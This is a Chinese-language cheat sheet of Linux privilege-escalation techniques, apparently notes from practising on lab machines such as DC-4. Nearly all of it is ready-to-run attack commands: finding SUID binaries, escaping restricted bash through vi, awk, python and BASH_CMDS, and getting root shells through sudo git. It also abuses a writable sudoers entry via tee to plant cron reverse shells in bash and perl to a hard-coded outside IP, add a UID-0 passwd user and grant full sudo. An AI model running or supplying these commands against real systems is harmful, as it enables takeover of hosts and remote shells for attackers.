1.suid提權
搜索符合條件的可以用來提權的:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -user root -perm -4000 -print 2>/dev/null
三種都可以
搜索可以提權的程序,一般有以下 :
nmap vim find Bash More Less Nano cp
舉例:find提權
find / -perm -u=s -type f 2>/dev/null
發現find可以利用
普通用戶,進入到/tmp目錄下,然后新建一個文件。
touch abcd
find abcd -exec whoami \;
2.rbash繞過
rbash就是受限制的bash,一般管理員會限制很多命令,例如whoami cd cat等很多常用的命令,不過肯定會有命令可以使用,我們可以查看$PATH有哪些,或者自己挨個試
1.查看環境變量
echo $PATH #查看自己可以使用的命令
less,ls,scp,vi 是我們可以用的
2.嘗試用以下來繞過
1.
vi test
:!/bin/sh
2.ed
3.ne
4. more less
more test
!'sh'
5.
man ls
操作同more less
6.find
/usr/bin/find /etc/passwd -exec whoami \;
/usr/bin/find /etc/passwd -exec /bin/sh \;
7.nmap
低版本
8.awk
awk 'BEGIN {system("/bin/sh")}'
9.python
python -c "import os;os.system('whoami')"
python -c "import os;os.system('/bin/sh')"
python -c "import pty;pty.spawn('/bin/sh')"
10.ruby
11.perl
12.php
13.
BASH_CMDS[a]=/bin/sh;a
最后用13成功繞過了rbash,進入了人sh
3.趕緊試試用/bin/bash進入bash,沒有權限的提升,我就覺得這個好用,能用tab補全
執行:
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
或者:PATH=$PATH:/bin
PATH=$PATH:/usr/bin
3.git提權
sudo git help config
!/bin/bash或者!'sh'完成提權
sudo git -p help
!/bin/bash
4.sudoer配置文件錯誤提權
4.1基礎知識
有的時候,普通用戶經常要執行某個命令,但是經常需要sudo輸入密碼,我們就可以通過配置/etc/sudoers文件來實現普通用戶某個命令權限的提升,但是如果一旦是給了用戶寫入的root權限,比如vi,那么這個普通用戶一旦被入侵,就可以通過vi來提權
首先來看/etc/sudoers
chmod u+w /etc/shudoers
vi /etc/sudoers
看到這里
# User privilege specification
root ALL=(ALL:ALL) ALL
root:代表用戶
第一個ALL:之網絡中的主機,我也不知道什么意思,但是這個all還是不動好了
第二個(ALL:ALL):指以誰的身份去執行,root就行了
第三個ALL:指所有的命令,可以自己制定,比如/bin/ls,/bin/nc
看下面的圖:
代表了用戶zaq可以以root的權限運行ls指令
前邊要加sudo,可以看到zaq用戶成功查看了/root目錄的結構
sudo -l 顯示出自己(執行 sudo 的使用者)的權限
4.2提權
如果這個/bin/ls變成了可以寫入文件的命令會怎么辦呢?比如:
/usr/bin/tee
這是在DC-4靶機上遇到的
#####################################################################
先看以下tee的用法
zaq@instance-f95a3vkt:/bin$ /usr/bin/tee --help
Usage: /usr/bin/tee [OPTION]... [FILE]...
Copy standard input to each FILE, and also to standard output.
-a, --append append to the given FILEs, do not overwrite
-i, --ignore-interrupts ignore interrupt signals
-p diagnose errors writing to non pipes
--output-error[=MODE] set behavior on write error. See MODE below
--help display this help and exit
--version output version information and exit
####################################################################
把輸入寫入文件,如果是-a的話就會在最后新起一行追加內容
1.corntab反彈shell
當 /bin/sh指向/bin/dash的時候(ubuntu默認這樣,當前的靶機也是這樣),反彈shell用bash的話得這樣彈:
* * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1"
這樣彈shell的時候不知道為什么很慢,耐心等等
或者:
*/1 * * * * root perl -e 'use Socket;$i="106.13.124.93";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2.suid
值得注意的是:chmod 4777 /bin/bash不會有這種效果(曾經看到這個解答,我給忘了,你不用管為什么了,自己試試就好了)
3.passwd添加用戶
test:x:0:0::/home/admin:/bin/bash
4.sudoers文件
echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers